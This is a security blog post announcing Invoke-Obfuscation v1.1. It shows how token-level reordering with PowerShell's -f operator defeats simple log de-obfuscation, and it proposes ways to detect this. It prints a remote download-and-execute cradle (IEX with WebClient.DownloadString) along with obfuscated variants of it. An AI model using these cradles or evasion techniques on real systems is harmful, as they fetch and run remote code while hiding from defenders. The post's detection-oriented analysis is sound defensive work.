Invoke-Obfuscation v1.1 (coming Sunday, Oct 9)

Although an official PowerShell obfuscation blog post is still underway, I have some incremental updates to Invoke-Obfuscation that I want to share with you all before releasing them in Invoke-Obfuscation v1.1 on Sunday, October 9, 2016, at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/). Just like the focus of the Invoke-Obfuscation framework as a whole, these updates are not meant to be cruel tricks for the Blue Team to deal with. Rather, the new techniques in this update are designed to show that simply removing special characters from PowerShell Scriptblock logs before searching for IOCs (Indicators of Compromise) in the resultant Scriptblock log is not a silver bullet in detecting PowerShell obfuscation.

Let's look at two brief examples that illustrate this point. The base command for this test is using the most common remote download cradle syntax:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://bit.ly/L3g1t')

The following command was generated with Invoke-Obfuscation v1.0 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level:

&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.0 command appears in Scriptblock logs.

So if we are dealing with the above command (either in command line argument logs or better yet in Scriptblock logs) then removing all special characters and whitespace will, for example, change the beginning cmdlet from  &( "I"  + "nv" +"OK"  +"e-EXPreSsIon" ) to InvOKe-EXPreSsIon. Or if tick obfuscation was used then this transformation would convert Ne`W-`ObJEc`T to NeW-ObJEcT. This is a pretty simple way of revealing the underlying cmdlet values to which we can then apply our IOCs.

Below is a basic code snippet that accomplishes this task:

$ScriptblockContents = @"
&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ "BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' +'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))
"@
$ScriptblockContents.Replace('"','').Replace("'",'').Replace('+','').Replace(' ','').Replace('`','').Replace(',','')

The resultant de-obfuscated command from above is now:

&(InvOKe-EXPreSsIon)(&(new-OBJEct)(Net.WebClient)).(dOWnlOaDSTrinG).Invoke((http://bit.ly/L3g1t))


However, there is a sneakier way to bypass this find-and-replace detection approach and I've added it to Invoke-Obfuscation v1.1 to help us Blue Teamers deepen our detection approach from what may currently be working for v1.0. This new technique is Reordering obfuscation applied at the token level.

New "Reorder" option available in Invoke-Obfuscation v1.1.

New "Reorder" option available in Invoke-Obfuscation v1.1.

This reordering obfuscation option will be available for Command, (Command) Argument, String and Member tokens. (It will also be available for one more NEW token type that I'll be releasing in 1.5 weeks -- more details in the next blog post!)

The reordering operator is the -f format operator and it works similarly to v1.0's STRING/REORDER function except it is applied to individual tokens instead of the entire PowerShell command or script.

The following command was generated with Invoke-Obfuscation v1.1 with options TOKEN/ALL/1 to obfuscate all tokens in random order at the maximum obfuscation level (which is now reordering for most token types):

&("{0}{2}{3}{1}{4}"-f 'In','e','voke-Exp','r','ssion') (&( "{2}{0}{1}"-f'w-Obje','ct','Ne') ( "{0}{1}{2}{3}"-f 'N','et.','Web','Client') ).("{0}{3}{1}{2}{4}"-f'Downl','ad','S','o','tring' ).Invoke(( 'http' + ':'+'/'+'/bi' +'t.ly'+'/L3g1t' ))
This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

This is how the above Invoke-Obfuscation v1.1 command appears in Scriptblock logs.

The resultant de-obfuscated command (using same find-and-replace method above) from above is now:

&({0}{2}{3}{1}{4}-fInevoke-Exprssion)(&({2}{0}{1}-fw-ObjectNe)({0}{1}{2}{3}-fNet.WebClient)).({0}{3}{1}{2}{4}-fDownladSotring).Invoke((http://bit.ly/L3g1t))

So the "de-obuscated" Scriptblock contents only give us Inevoke-Exprssion and w-ObjectNe to use for trying to identify Invoke-Expression and New-Object. The order of these -f format operator reordering operations are randomized, so sometimes you will still find the full properly-ordered string (like Net.WebClient), but the point is that you can no longer rely on this being the case.

Three detection approaches that we can take here:

  1. In Scriptblock logs (EID 4104) look for usage of the -f format operator, though there are definitely other means to accomplish this same obfuscation outcome without the -f format operator so this is also not a silver bullet detection approach. False Positives to watch out for are -f for -File and -f for -ForegroundColor. Additionally, keep in mind that the -f format operator does NOT require whitespace on either side, so a bit of regex wizardry will go a long way when monitoring for this operator.
  2. In Module logs (EID 4103) look for the CommandInvocation and ParameterBinding of Invoke-Expression and New-Object as well as the arguments that each cmdlet is passed. This shows the plaintext values regardless of if it is reordered or otherwise obfuscated in Scriptblock logs. However, it becomes much more difficult if your indicators rely on the combination of multiple cmdlets (like IEX/Invoke-Expression AND New-Object) since this information is now spread across multiple events in Module logs.
  3. One more interesting observation is that the Scriptblock log events for both of the above samples have a Level value of Warning instead of the regular value of Informational -- perhaps something to begin monitoring. However, there are still obfuscation techniques that generate Information level logs instead of Warning level logs. Once again we are reminded to not place all of our defensive eggs into a single detection basket.

So at the end of the day, PowerShell logging give us Warning level Scriptblock log events and the obfuscated cmdlets are still found in the Module logs. All of the answers are present but are not located in any single event. But just imagine how much more difficult detecting this would be without the fantastic logging that the PowerShell team has given us -- Thanks PS Team!!


tl;dr

This Sunday, October 9, 2016, I will be releasing these token reordering obfuscation techniques in Invoke-Obfuscation v1.1 at SANS DFIR Prague (https://www.sans.org/event/dfir-prague-2016/summit-overview/) as a component of my presentation on PowerShell obfuscation techniques. During this presentation I will focus on additional artifacts (outside of PowerShell logs and command line arguments) to aid the Blue Team in detecting these obfuscation techniques.

The latest version of Invoke-Obfuscation can always be downloaded from my Github repository: https://github.com/danielbohannon/Invoke-Obfuscation

Blue Team: Please Upgrade To PS 5.0
Red Team:  Please Obfuscate Responsibly :)